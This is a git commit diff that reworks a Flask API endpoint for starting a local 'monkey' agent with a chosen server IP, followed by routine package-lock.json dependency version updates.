add server ip selection on run monkey page

This commit is contained in:
Barak Argaman 2017-09-03 00:40:43 +03:00
parent 04c86737e9
commit c143987138
9 changed files with 436 additions and 183 deletions

View File

@ -71,7 +71,7 @@ def init_app(mongo_url):
api.add_resource(Root, '/api') api.add_resource(Root, '/api')
api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>') api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>')
api.add_resource(LocalRun, '/api/island', '/api/island/') api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>') api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>')
api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/')
api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/',

View File

@ -3,7 +3,7 @@ import os
from shutil import copyfile from shutil import copyfile
import sys import sys
from flask import request from flask import request, jsonify, make_response
import flask_restful import flask_restful
from cc.resources.monkey_download import get_monkey_executable from cc.resources.monkey_download import get_monkey_executable
@ -47,16 +47,14 @@ def run_local_monkey(island_address):
class LocalRun(flask_restful.Resource): class LocalRun(flask_restful.Resource):
def get(self): def get(self):
req_type = request.args.get('type') # TODO implement is_running from db monkeys collection
if req_type == "interfaces": return jsonify(is_running=False)
return {"interfaces": local_ips()}
else:
return {"message": "unknown action"}
def post(self): def post(self):
action_json = json.loads(request.data) body = json.loads(request.data)
if 'action' in action_json: if body.get('action') == 'run' and body.get('ip') is not None:
if action_json["action"] == "monkey" and action_json.get("island_address") is not None: local_run = run_local_monkey(island_address=body.get('ip'))
return {"res": run_local_monkey(action_json.get("island_address"))} return jsonify(is_running=local_run[0])
return {"res": (False, "Unknown action")} # default action
return make_response({'error': 'Invalid action'}, 500)

View File

@ -16,7 +16,7 @@ class Root(flask_restful.Resource):
action = request.args.get('action') action = request.args.get('action')
if not action: if not action:
return jsonify(ips=local_ip_addresses(), mongo=str(mongo.db)) return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db))
elif action == "reset": elif action == "reset":
mongo.db.config.drop() mongo.db.config.drop()

View File

@ -288,21 +288,21 @@
} }
}, },
"babel-core": { "babel-core": {
"version": "6.25.0", "version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-core/-/babel-core-6.25.0.tgz", "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-6.26.0.tgz",
"integrity": "sha1-fdQrBGPHQunVKW3rPsZ6kyLa1yk=", "integrity": "sha1-rzL3izGm/O8RnIew/Y2XU/A6C7g=",
"dev": true, "dev": true,
"requires": { "requires": {
"babel-code-frame": "6.22.0", "babel-code-frame": "6.26.0",
"babel-generator": "6.25.0", "babel-generator": "6.26.0",
"babel-helpers": "6.24.1", "babel-helpers": "6.24.1",
"babel-messages": "6.23.0", "babel-messages": "6.23.0",
"babel-register": "6.24.1", "babel-register": "6.26.0",
"babel-runtime": "6.25.0", "babel-runtime": "6.26.0",
"babel-template": "6.25.0", "babel-template": "6.26.0",
"babel-traverse": "6.25.0", "babel-traverse": "6.26.0",
"babel-types": "6.25.0", "babel-types": "6.26.0",
"babylon": "6.17.4", "babylon": "6.18.0",
"convert-source-map": "1.5.0", "convert-source-map": "1.5.0",
"debug": "2.6.8", "debug": "2.6.8",
"json5": "0.5.1", "json5": "0.5.1",
@ -312,6 +312,83 @@
"private": "0.1.7", "private": "0.1.7",
"slash": "1.0.0", "slash": "1.0.0",
"source-map": "0.5.6" "source-map": "0.5.6"
},
"dependencies": {
"babel-code-frame": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz",
"integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=",
"dev": true,
"requires": {
"chalk": "1.1.3",
"esutils": "2.0.2",
"js-tokens": "3.0.2"
}
},
"babel-runtime": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz",
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
"core-js": "2.5.1",
"regenerator-runtime": "0.11.0"
}
},
"babel-template": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-template/-/babel-template-6.26.0.tgz",
"integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=",
"dev": true,
"requires": {
"babel-runtime": "6.26.0",
"babel-traverse": "6.26.0",
"babel-types": "6.26.0",
"babylon": "6.18.0",
"lodash": "4.17.4"
}
},
"babel-traverse": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-traverse/-/babel-traverse-6.26.0.tgz",
"integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=",
"dev": true,
"requires": {
"babel-code-frame": "6.26.0",
"babel-messages": "6.23.0",
"babel-runtime": "6.26.0",
"babel-types": "6.26.0",
"babylon": "6.18.0",
"debug": "2.6.8",
"globals": "9.18.0",
"invariant": "2.2.2",
"lodash": "4.17.4"
}
},
"babel-types": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz",
"integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=",
"dev": true,
"requires": {
"babel-runtime": "6.26.0",
"esutils": "2.0.2",
"lodash": "4.17.4",
"to-fast-properties": "1.0.3"
}
},
"babylon": {
"version": "6.18.0",
"resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz",
"integrity": "sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ==",
"dev": true
},
"regenerator-runtime": {
"version": "0.11.0",
"resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.0.tgz",
"integrity": "sha512-/aA0kLeRb5N9K0d4fw7ooEbI+xDe+DKD499EQqygGqeS8N3xto15p09uY2xj7ixP81sNPXvRLnAQIqdVStgb1A==",
"dev": true
}
} }
}, },
"babel-eslint": { "babel-eslint": {
@ -328,19 +405,49 @@
} }
}, },
"babel-generator": { "babel-generator": {
"version": "6.25.0", "version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-generator/-/babel-generator-6.25.0.tgz", "resolved": "https://registry.npmjs.org/babel-generator/-/babel-generator-6.26.0.tgz",
"integrity": "sha1-M6GvcNXyiQrrRlpKd5PB32qeqfw=", "integrity": "sha1-rBriAHC3n248odMmlhMFN3TyDcU=",
"dev": true, "dev": true,
"requires": { "requires": {
"babel-messages": "6.23.0", "babel-messages": "6.23.0",
"babel-runtime": "6.25.0", "babel-runtime": "6.26.0",
"babel-types": "6.25.0", "babel-types": "6.26.0",
"detect-indent": "4.0.0", "detect-indent": "4.0.0",
"jsesc": "1.3.0", "jsesc": "1.3.0",
"lodash": "4.17.4", "lodash": "4.17.4",
"source-map": "0.5.6", "source-map": "0.5.6",
"trim-right": "1.0.1" "trim-right": "1.0.1"
},
"dependencies": {
"babel-runtime": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz",
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
"core-js": "2.5.1",
"regenerator-runtime": "0.11.0"
}
},
"babel-types": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz",
"integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=",
"dev": true,
"requires": {
"babel-runtime": "6.26.0",
"esutils": "2.0.2",
"lodash": "4.17.4",
"to-fast-properties": "1.0.3"
}
},
"regenerator-runtime": {
"version": "0.11.0",
"resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.0.tgz",
"integrity": "sha512-/aA0kLeRb5N9K0d4fw7ooEbI+xDe+DKD499EQqygGqeS8N3xto15p09uY2xj7ixP81sNPXvRLnAQIqdVStgb1A==",
"dev": true
}
} }
}, },
"babel-helper-bindify-decorators": { "babel-helper-bindify-decorators": {
@ -1041,14 +1148,34 @@
} }
}, },
"babel-polyfill": { "babel-polyfill": {
"version": "6.23.0", "version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-polyfill/-/babel-polyfill-6.23.0.tgz", "resolved": "https://registry.npmjs.org/babel-polyfill/-/babel-polyfill-6.26.0.tgz",
"integrity": "sha1-g2TKYt+Or7gwSZ9pkXdGbDsDSZ0=", "integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=",
"dev": true, "dev": true,
"requires": { "requires": {
"babel-runtime": "6.25.0", "babel-runtime": "6.26.0",
"core-js": "2.5.0", "core-js": "2.5.1",
"regenerator-runtime": "0.10.5" "regenerator-runtime": "0.10.5"
},
"dependencies": {
"babel-runtime": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz",
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
"core-js": "2.5.1",
"regenerator-runtime": "0.11.0"
},
"dependencies": {
"regenerator-runtime": {
"version": "0.11.0",
"resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.0.tgz",
"integrity": "sha512-/aA0kLeRb5N9K0d4fw7ooEbI+xDe+DKD499EQqygGqeS8N3xto15p09uY2xj7ixP81sNPXvRLnAQIqdVStgb1A==",
"dev": true
}
}
}
} }
}, },
"babel-preset-es2015": { "babel-preset-es2015": {
@ -1154,18 +1281,36 @@
} }
}, },
"babel-register": { "babel-register": {
"version": "6.24.1", "version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-register/-/babel-register-6.24.1.tgz", "resolved": "https://registry.npmjs.org/babel-register/-/babel-register-6.26.0.tgz",
"integrity": "sha1-fhDhOi9xBlvfrVoXh7pFvKbe118=", "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=",
"dev": true, "dev": true,
"requires": { "requires": {
"babel-core": "6.25.0", "babel-core": "6.26.0",
"babel-runtime": "6.25.0", "babel-runtime": "6.26.0",
"core-js": "2.5.0", "core-js": "2.5.1",
"home-or-tmp": "2.0.0", "home-or-tmp": "2.0.0",
"lodash": "4.17.4", "lodash": "4.17.4",
"mkdirp": "0.5.1", "mkdirp": "0.5.1",
"source-map-support": "0.4.15" "source-map-support": "0.4.17"
},
"dependencies": {
"babel-runtime": {
"version": "6.26.0",
"resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz",
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
"core-js": "2.5.1",
"regenerator-runtime": "0.11.0"
}
},
"regenerator-runtime": {
"version": "0.11.0",
"resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.0.tgz",
"integrity": "sha512-/aA0kLeRb5N9K0d4fw7ooEbI+xDe+DKD499EQqygGqeS8N3xto15p09uY2xj7ixP81sNPXvRLnAQIqdVStgb1A==",
"dev": true
}
} }
}, },
"babel-runtime": { "babel-runtime": {
@ -1173,7 +1318,7 @@
"resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz",
"integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=",
"requires": { "requires": {
"core-js": "2.5.0", "core-js": "2.5.1",
"regenerator-runtime": "0.10.5" "regenerator-runtime": "0.10.5"
} }
}, },
@ -1532,9 +1677,9 @@
"dev": true "dev": true
}, },
"caseless": { "caseless": {
"version": "0.11.0", "version": "0.12.0",
"resolved": "https://registry.npmjs.org/caseless/-/caseless-0.11.0.tgz", "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
"integrity": "sha1-cVuW6phBWTzDMGeSP17GDr2k99c=", "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=",
"dev": true "dev": true
}, },
"center-align": { "center-align": {
@ -1749,12 +1894,6 @@
"delayed-stream": "1.0.0" "delayed-stream": "1.0.0"
} }
}, },
"commander": {
"version": "2.11.0",
"resolved": "https://registry.npmjs.org/commander/-/commander-2.11.0.tgz",
"integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ==",
"dev": true
},
"commondir": { "commondir": {
"version": "1.0.1", "version": "1.0.1",
"resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
@ -1946,9 +2085,9 @@
} }
}, },
"core-js": { "core-js": {
"version": "2.5.0", "version": "2.5.1",
"resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.0.tgz", "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.1.tgz",
"integrity": "sha1-VpwFCRi+ZIazg3VSAorgRmtxcIY=" "integrity": "sha1-rmh03GaTd4m4B1T/VCjfZoGcpQs="
}, },
"core-util-is": { "core-util-is": {
"version": "1.0.2", "version": "1.0.2",
@ -2940,40 +3079,26 @@
} }
}, },
"extract-zip": { "extract-zip": {
"version": "1.5.0", "version": "1.6.5",
"resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.5.0.tgz", "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.6.5.tgz",
"integrity": "sha1-ksz22B73Cp+kwXRxFMzvbYaIpsQ=", "integrity": "sha1-maBnNbbqIOqbcF13ms/8yHz/BEA=",
"dev": true, "dev": true,
"requires": { "requires": {
"concat-stream": "1.5.0", "concat-stream": "1.6.0",
"debug": "0.7.4", "debug": "2.2.0",
"mkdirp": "0.5.0", "mkdirp": "0.5.0",
"yauzl": "2.4.1" "yauzl": "2.4.1"
}, },
"dependencies": { "dependencies": {
"concat-stream": { "debug": {
"version": "1.5.0", "version": "2.2.0",
"resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.5.0.tgz", "resolved": "https://registry.npmjs.org/debug/-/debug-2.2.0.tgz",
"integrity": "sha1-U/fUPFHF5D+ByP3QMyHGMb5o1hE=", "integrity": "sha1-+HBX6ZWxofauaklgZkE3vFbwOdo=",
"dev": true, "dev": true,
"requires": { "requires": {
"inherits": "2.0.3", "ms": "0.7.1"
"readable-stream": "2.0.6",
"typedarray": "0.0.6"
} }
}, },
"debug": {
"version": "0.7.4",
"resolved": "https://registry.npmjs.org/debug/-/debug-0.7.4.tgz",
"integrity": "sha1-BuHqgILCyxTjmAbiLi9vdX+Srzk=",
"dev": true
},
"isarray": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
"dev": true
},
"minimist": { "minimist": {
"version": "0.0.8", "version": "0.0.8",
"resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz",
@ -2989,19 +3114,11 @@
"minimist": "0.0.8" "minimist": "0.0.8"
} }
}, },
"readable-stream": { "ms": {
"version": "2.0.6", "version": "0.7.1",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.0.6.tgz", "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.1.tgz",
"integrity": "sha1-j5A0HmilPMySh4jaz80Rs265t44=", "integrity": "sha1-nNE8A62/8ltl7/3nzoZO6VIBcJg=",
"dev": true, "dev": true
"requires": {
"core-util-is": "1.0.2",
"inherits": "2.0.3",
"isarray": "1.0.0",
"process-nextick-args": "1.0.7",
"string_decoder": "0.10.31",
"util-deprecate": "1.0.2"
}
} }
} }
}, },
@ -4330,16 +4447,20 @@
} }
} }
}, },
"har-schema": {
"version": "1.0.5",
"resolved": "https://registry.npmjs.org/har-schema/-/har-schema-1.0.5.tgz",
"integrity": "sha1-0mMTX0MwfALGAq/I/pWXDAFRNp4=",
"dev": true
},
"har-validator": { "har-validator": {
"version": "2.0.6", "version": "4.2.1",
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-2.0.6.tgz", "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-4.2.1.tgz",
"integrity": "sha1-zcvAgYgmWtEZtqWnyKtw7s+10n0=", "integrity": "sha1-M0gdDxu/9gDdID11gSpqX7oALio=",
"dev": true, "dev": true,
"requires": { "requires": {
"chalk": "1.1.3", "ajv": "4.11.8",
"commander": "2.11.0", "har-schema": "1.0.5"
"is-my-json-valid": "2.16.0",
"pinkie-promise": "2.0.1"
} }
}, },
"has": { "has": {
@ -4410,14 +4531,14 @@
} }
}, },
"history": { "history": {
"version": "4.6.3", "version": "4.7.2",
"resolved": "https://registry.npmjs.org/history/-/history-4.6.3.tgz", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz",
"integrity": "sha1-bXI6hxLFgda+836MJvSu3G64aWc=", "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==",
"requires": { "requires": {
"invariant": "2.2.2", "invariant": "2.2.2",
"loose-envify": "1.3.1", "loose-envify": "1.3.1",
"resolve-pathname": "2.1.0", "resolve-pathname": "2.2.0",
"value-equal": "0.2.1", "value-equal": "0.4.0",
"warning": "3.0.0" "warning": "3.0.0"
} }
}, },
@ -4428,9 +4549,9 @@
"dev": true "dev": true
}, },
"hoist-non-react-statics": { "hoist-non-react-statics": {
"version": "1.2.0", "version": "2.3.1",
"resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-1.2.0.tgz", "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.3.1.tgz",
"integrity": "sha1-qkSM8JhtVcxAdzsXF0t90GbLfPs=" "integrity": "sha1-ND24TGAYxlB3iJgkATWhQg7iLOA="
}, },
"home-or-tmp": { "home-or-tmp": {
"version": "2.0.0", "version": "2.0.0",
@ -4899,7 +5020,7 @@
"integrity": "sha1-HekZlvSAsi3LGsqFECVbrhV0RG4=", "integrity": "sha1-HekZlvSAsi3LGsqFECVbrhV0RG4=",
"dev": true, "dev": true,
"requires": { "requires": {
"babel-core": "6.25.0", "babel-core": "6.26.0",
"escodegen": "1.8.1", "escodegen": "1.8.1",
"esprima": "2.7.3", "esprima": "2.7.3",
"istanbul": "0.4.5", "istanbul": "0.4.5",
@ -5107,9 +5228,9 @@
"dev": true "dev": true
}, },
"karma": { "karma": {
"version": "1.7.0", "version": "1.7.1",
"resolved": "https://registry.npmjs.org/karma/-/karma-1.7.0.tgz", "resolved": "https://registry.npmjs.org/karma/-/karma-1.7.1.tgz",
"integrity": "sha1-b3oaQGRG+i4YfslTmGmPTO5HYmk=", "integrity": "sha512-k5pBjHDhmkdaUccnC7gE3mBzZjcxyxYsYVaqiL2G5AqlfLyBO5nw2VdNK+O16cveEPd/gIOWULH7gkiYYwVNHg==",
"dev": true, "dev": true,
"requires": { "requires": {
"bluebird": "3.5.0", "bluebird": "3.5.0",
@ -5118,7 +5239,7 @@
"colors": "1.1.2", "colors": "1.1.2",
"combine-lists": "1.0.1", "combine-lists": "1.0.1",
"connect": "3.6.3", "connect": "3.6.3",
"core-js": "2.5.0", "core-js": "2.5.1",
"di": "0.0.1", "di": "0.0.1",
"dom-serialize": "2.2.1", "dom-serialize": "2.2.1",
"expand-braces": "0.1.2", "expand-braces": "0.1.2",
@ -5186,12 +5307,66 @@
} }
}, },
"karma-mocha-reporter": { "karma-mocha-reporter": {
"version": "2.2.3", "version": "2.2.4",
"resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.3.tgz", "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.4.tgz",
"integrity": "sha1-BP3aRaHZaXpzhxx0ciI8WBcBqyA=", "integrity": "sha1-DJyyLCfYZND2aU3wzwHKq86QZNQ=",
"dev": true, "dev": true,
"requires": { "requires": {
"chalk": "1.1.3" "chalk": "2.1.0",
"log-symbols": "2.0.0",
"strip-ansi": "4.0.0"
},
"dependencies": {
"ansi-regex": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
"integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
"dev": true
},
"ansi-styles": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz",
"integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==",
"dev": true,
"requires": {
"color-convert": "1.9.0"
}
},
"chalk": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz",
"integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==",
"dev": true,
"requires": {
"ansi-styles": "3.2.0",
"escape-string-regexp": "1.0.5",
"supports-color": "4.4.0"
}
},
"has-flag": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz",
"integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=",
"dev": true
},
"strip-ansi": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
"integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
"dev": true,
"requires": {
"ansi-regex": "3.0.0"
}
},
"supports-color": {
"version": "4.4.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz",
"integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==",
"dev": true,
"requires": {
"has-flag": "2.0.0"
}
}
} }
}, },
"karma-phantomjs-launcher": { "karma-phantomjs-launcher": {
@ -5201,7 +5376,7 @@
"dev": true, "dev": true,
"requires": { "requires": {
"lodash": "4.17.4", "lodash": "4.17.4",
"phantomjs-prebuilt": "2.1.14" "phantomjs-prebuilt": "2.1.15"
} }
}, },
"karma-sourcemap-loader": { "karma-sourcemap-loader": {
@ -5500,6 +5675,52 @@
"lodash._root": "3.0.1" "lodash._root": "3.0.1"
} }
}, },
"log-symbols": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.0.0.tgz",
"integrity": "sha512-ValCSal2pRxRbet7O69a/1g5fZ2MLxf1YXIslNrdJF42ofY9zVf6MTqTwfhG+2x168xrbZATCgFQfXAwdNHv+w==",
"dev": true,
"requires": {
"chalk": "2.1.0"
},
"dependencies": {
"ansi-styles": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz",
"integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==",
"dev": true,
"requires": {
"color-convert": "1.9.0"
}
},
"chalk": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz",
"integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==",
"dev": true,
"requires": {
"ansi-styles": "3.2.0",
"escape-string-regexp": "1.0.5",
"supports-color": "4.4.0"
}
},
"has-flag": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz",
"integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=",
"dev": true
},
"supports-color": {
"version": "4.4.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz",
"integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==",
"dev": true,
"requires": {
"has-flag": "2.0.0"
}
}
}
},
"log4js": { "log4js": {
"version": "0.6.38", "version": "0.6.38",
"resolved": "https://registry.npmjs.org/log4js/-/log4js-0.6.38.tgz", "resolved": "https://registry.npmjs.org/log4js/-/log4js-0.6.38.tgz",
@ -6295,19 +6516,25 @@
"integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=", "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=",
"dev": true "dev": true
}, },
"performance-now": {
"version": "0.2.0",
"resolved": "https://registry.npmjs.org/performance-now/-/performance-now-0.2.0.tgz",
"integrity": "sha1-M+8wxcd9TqIcWlOGnZG1bY8lVeU=",
"dev": true
},
"phantomjs-prebuilt": { "phantomjs-prebuilt": {
"version": "2.1.14", "version": "2.1.15",
"resolved": "https://registry.npmjs.org/phantomjs-prebuilt/-/phantomjs-prebuilt-2.1.14.tgz", "resolved": "https://registry.npmjs.org/phantomjs-prebuilt/-/phantomjs-prebuilt-2.1.15.tgz",
"integrity": "sha1-1T0xH8+30dCN2yQBRVjxGIxRbaA=", "integrity": "sha1-IPhugtM0nFBZF1J3RbekEeCLOQM=",
"dev": true, "dev": true,
"requires": { "requires": {
"es6-promise": "4.0.5", "es6-promise": "4.0.5",
"extract-zip": "1.5.0", "extract-zip": "1.6.5",
"fs-extra": "1.0.0", "fs-extra": "1.0.0",
"hasha": "2.2.0", "hasha": "2.2.0",
"kew": "0.7.0", "kew": "0.7.0",
"progress": "1.1.8", "progress": "1.1.8",
"request": "2.79.0", "request": "2.81.0",
"request-progress": "2.0.1", "request-progress": "2.0.1",
"which": "1.2.14" "which": "1.2.14"
}, },
@ -7305,9 +7532,9 @@
} }
}, },
"react-json-view": { "react-json-view": {
"version": "1.12.0", "version": "1.12.1",
"resolved": "https://registry.npmjs.org/react-json-view/-/react-json-view-1.12.0.tgz", "resolved": "https://registry.npmjs.org/react-json-view/-/react-json-view-1.12.1.tgz",
"integrity": "sha512-k12TdTzybOx0DCSI5kNE2WQntMrYIE1wI9DF3AzTHM9OG/QOguIa6Gk2h/IFoqR4kOyf9n3GMMq6OAcQ9qk7KA==", "integrity": "sha512-klz1PrwmMcX8tQuvutsoBOABqLtyLKudeXi9Pv0MkBF1Ja1d6JnXrZdYZxIH9WOdwLpCHA+7NnKsdFc/RGFBqg==",
"requires": { "requires": {
"clipboard": "1.7.1", "clipboard": "1.7.1",
"flux": "3.1.3", "flux": "3.1.3",
@ -7346,12 +7573,12 @@
} }
}, },
"react-router": { "react-router": {
"version": "4.1.2", "version": "4.2.0",
"resolved": "https://registry.npmjs.org/react-router/-/react-router-4.1.2.tgz", "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.2.0.tgz",
"integrity": "sha512-VyM87OP+GkijVkkOXJw39A9fKtFelLoZYYDxtELhpZefjYatxI2SUxZcImo/9Tv52rR9UnNJBPSBpVRQMdvi8A==", "integrity": "sha512-DY6pjwRhdARE4TDw7XjxjZsbx9lKmIcyZoZ+SDO7SBJ1KUeWNxT22Kara2AC7u6/c2SYEHlEDLnzBCcNhLE8Vg==",
"requires": { "requires": {
"history": "4.6.3", "history": "4.7.2",
"hoist-non-react-statics": "1.2.0", "hoist-non-react-statics": "2.3.1",
"invariant": "2.2.2", "invariant": "2.2.2",
"loose-envify": "1.3.1", "loose-envify": "1.3.1",
"path-to-regexp": "1.7.0", "path-to-regexp": "1.7.0",
@ -7370,14 +7597,16 @@
} }
}, },
"react-router-dom": { "react-router-dom": {
"version": "4.1.2", "version": "4.2.2",
"resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.1.2.tgz", "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.2.2.tgz",
"integrity": "sha512-CU6pFlpfvIj/xi36rZAbUiN0x39241q+d5bAfJJLtlEqlM62F3zgyv5aERH9zesmKqyDBBp2kd85rkq9Mo/iNQ==", "integrity": "sha512-cHMFC1ZoLDfEaMFoKTjN7fry/oczMgRt5BKfMAkTu5zEuJvUiPp1J8d0eXSVTnBh6pxlbdqDhozunOOLtmKfPA==",
"requires": { "requires": {
"history": "4.6.3", "history": "4.7.2",
"invariant": "2.2.2",
"loose-envify": "1.3.1", "loose-envify": "1.3.1",
"prop-types": "15.5.10", "prop-types": "15.5.10",
"react-router": "4.1.2" "react-router": "4.2.0",
"warning": "3.0.0"
} }
}, },
"read-pkg": { "read-pkg": {
@ -7617,19 +7846,19 @@
} }
}, },
"request": { "request": {
"version": "2.79.0", "version": "2.81.0",
"resolved": "https://registry.npmjs.org/request/-/request-2.79.0.tgz", "resolved": "https://registry.npmjs.org/request/-/request-2.81.0.tgz",
"integrity": "sha1-Tf5b9r6LjNw3/Pk+BLZVd3InEN4=", "integrity": "sha1-xpKJRqDgbF+Nb4qTM0af/aRimKA=",
"dev": true, "dev": true,
"requires": { "requires": {
"aws-sign2": "0.6.0", "aws-sign2": "0.6.0",
"aws4": "1.6.0", "aws4": "1.6.0",
"caseless": "0.11.0", "caseless": "0.12.0",
